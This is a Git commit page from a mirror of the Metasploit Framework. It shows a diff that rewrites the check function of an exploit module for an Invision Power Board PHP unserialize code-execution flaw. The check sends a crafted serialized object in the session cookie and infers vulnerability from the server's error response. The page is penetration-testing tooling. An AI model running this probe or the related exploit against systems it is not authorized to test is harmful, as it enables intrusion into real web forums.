infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

fix check function after speak with egix

unstable
jvazquez-r7 2012-11-15 01:34:17 +01:00
parent 3ba3e906d7
commit 09ec7dea95
1 changed files with 12 additions and 33 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

45
modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb
View File

@ -87,42 +87,21 @@ class Metasploit3 < Msf::Exploit::Remote
def check
@peer = "#{rhost}:#{rport}"
res = send_request_raw({'uri'=>"#{base}index.php"})
return Exploit::CheckCode::Unknown if not res
check_str = Rex::Text.uri_encode('a:1:{i:0;O:1:"x":0:{}}')
res = send_request_cgi(
{
'uri' => "#{base}index.php",
'method' => 'GET',
'cookie' => "#{cookie_prefix}session_id=#{check_str}"
})
version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten
if not version or version.empty?
check_str = Rex::Text.uri_encode('a:1:{i:0;O:1:"x":0:{}}')
res = send_request_cgi(
{
'uri' => "#{base}index.php",
'method' => 'GET',
'cookie' => "#{cookie_prefix}session_id=#{check_str}"
})
if res and res.code == 500 or res.body =~ /PHP_Incomplete_Class/
return Exploit::CheckCode::Vulnerable
end
if res and res.code == 500 or res.body =~ /PHP_Incomplete_Class/
return Exploit::CheckCode::Vulnerable
elsif res and res.code == 200
return Exploit::CheckCode::Safe
else
version = version.map {|e| e.to_i}
# We only want major version 3
# This version checking is based on OSVDB's info
return Exploit::CheckCode::Safe if version[0] != 3
case version[1]
when 1
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
when 2
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3)
when 3
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
end
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Safe
end
def on_new_session(client)